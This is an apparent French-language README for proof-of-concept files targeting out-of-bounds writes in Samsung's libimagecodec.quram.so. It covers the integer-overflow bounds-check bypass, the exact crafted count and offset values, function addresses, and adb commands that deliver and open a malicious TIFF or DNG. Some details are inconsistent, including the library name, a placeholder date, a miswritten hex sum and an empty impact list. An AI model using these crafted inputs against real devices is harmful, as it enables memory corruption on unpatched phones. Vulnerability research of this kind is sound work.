
Génère des fichiers TIFF/DNG spécialement conçus pour déclencher des écritures hors limites dans libimagecodec.quram.so de Samsung, y compris l'analyse binaire et les étapes de reproduction.
Ce dépôt contient des fichiers de preuve de concept (PoC) conceptuels qui démontrent des vulnérabilités d'écriture hors limites (OOB) dans la bibliothèque de codec d'image Quramsoft (libimagecodec.quram.so) utilisée sur les appareils Android Samsung.
| CVE | Format | Type | Sévérité | CVSS 4.0 | Corrigé dans |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | Écriture hors limites (CWE-787) | Critique | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | Écriture hors limites (CWE-787) | Élevée | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soLa vulnérabilité réside dans la fonction d'analyse des balises IFD (Image File Directory) WINKJ_ReadExifField (décalage 0x13a0a8 dans le binaire 64 bits). Cette fonction traite les entrées IFD TIFF/EXIF individuelles, chacune étant une structure de 12 octets :
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
Lorsque count * element_size > 4, le champ Valeur de 4 octets est traité comme un décalage de fichier (pointant vers l'emplacement où se trouvent les données réelles). Le code effectue ensuite une vérification des limites à l'adresse 0x13a258 :
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
La vulnérabilité est un dépassement d'entier non signé 32 bits dans l'addition. Si un attaquant conçoit value_offset et count * element_size de sorte que leur somme fasse un repliement vers une petite valeur, la vérification réussit alors même que l'accès mémoire réel à base + value_offset sort des limites.
Exemple (type UNDEFINED, element_size = 1) :
L'addition 32 bits 0x17FFF + 0xFFFF0001 = 0x10008000 est tronquée à 0x8000, ce qui est égal à buffer_size. La vérification réussit, mais le pointeur de données réel (base + 0x17FFF) se trouve 0x7FFF octets après la fin du tampon alloué.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| Fichier | Description |
|---|---|
cve-2026-21045_tiff_oob_poc.py | Génère poc_crash.tif — un TIFF malformé déclenchant une écriture hors limites via une balise ASCII avec un count/décalage contrefaits |
cve-2026-21048_dng_oob_poc.py | Génère poc_crash.dng — un DNG malformé déclenchant une écriture hors limites via une balise UNDEFINED avec un count/décalage contrefaits |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
Sur un appareil non corrigé (correctif de sécurité < juillet 2026), l'ouverture du fichier TIFF/DNG contrefait dans Samsung Gallery (ou toute application utilisant le décodeur Quram) devrait provoquer une corruption de la mémoire du tas (heap) pouvant potentiellement mener à :
Sur un appareil corrigé (SMR Jul-2026+), l'image doit être soit rejetée comme invalide, soit traitée en toute sécurité. Un crash sur un appareil entièrement corrigé peut indiquer un problème distinct non corrigé.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
Extraite de WINKJ_ReadExifField :
Tous les types avec element_size = 1 (BYTE, ASCII, UNDEFINED) partagent le même gestionnaire et sont également vulnérables au contournement par dépassement d'entier.
Ces preuves de concept sont fournies uniquement à des fins éducatives et de recherche en sécurité. Elles démontrent le mécanisme de la vulnérabilité afin d'aider les utilisateurs et les développeurs à comprendre le risque. Ne les utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
| Champ | Valeur (hex) | Décimal |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (dépassement !) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
Résultat de la vérification : 0x8000 <= 0x8000 | ✅ SUCCÈS | — |
Accès mémoire réel : base + 0x17FFF | 0x7FFF octets au-delà du tampon | ❌ OOB |
| Fonction | Adresse (64 bits) | Taille | Rôle |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | Analyse une entrée IFD individuelle (vulnérable) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | Lit toutes les entrées IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | Analyseur d'informations TIFF de haut niveau |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | Point d'entrée principal d'analyse TIFF |
decodeTIFF | 0x1a2adc | 580 | Décode l'image TIFF via libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | Obtient les métadonnées d'image TIFF |
copySubImageBuffer | 0x0b2824 | 324 | Copie la région de sous-image |
TIFFReadDirectory | 0x1aac78 | 5896 | Lecteur de répertoire libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | Vérification sûre de multiplication 32 bits |
_TIFFMultiply64 | 0x1a2f58 | 48 | Vérification sûre de multiplication 64 bits |
| Type | Nom | Taille d'élément | Adresse du gestionnaire |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | Description | Statut |
|---|
| CVE-2025-58477 | Écriture hors limites dans l'analyse des balises IFD dans libimagecodec.quram.so (SMR Dec-2025) | ✅ Corrigé |
| CVE-2026-20973 | Lecture hors limites dans libimagecodec.quram.so (SMR Jan-2026) | ✅ Corrigé |
| CVE-2026-21045 | Écriture hors limites dans l'analyse TIFF dans libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Non corrigé pour moi |
| CVE-2026-21048 | Écriture hors limites dans l'analyse DNG dans libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Non corrigé pour moi |
| CVE-2026-4775 | Dépassement d'entier signé dans libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ Non corrigé pour moi |
| CVE-2024-7006 | Déréférencement NULL dans libtiff tif_dirinfo.c | ✅ Corrigé dans 4.6.1 |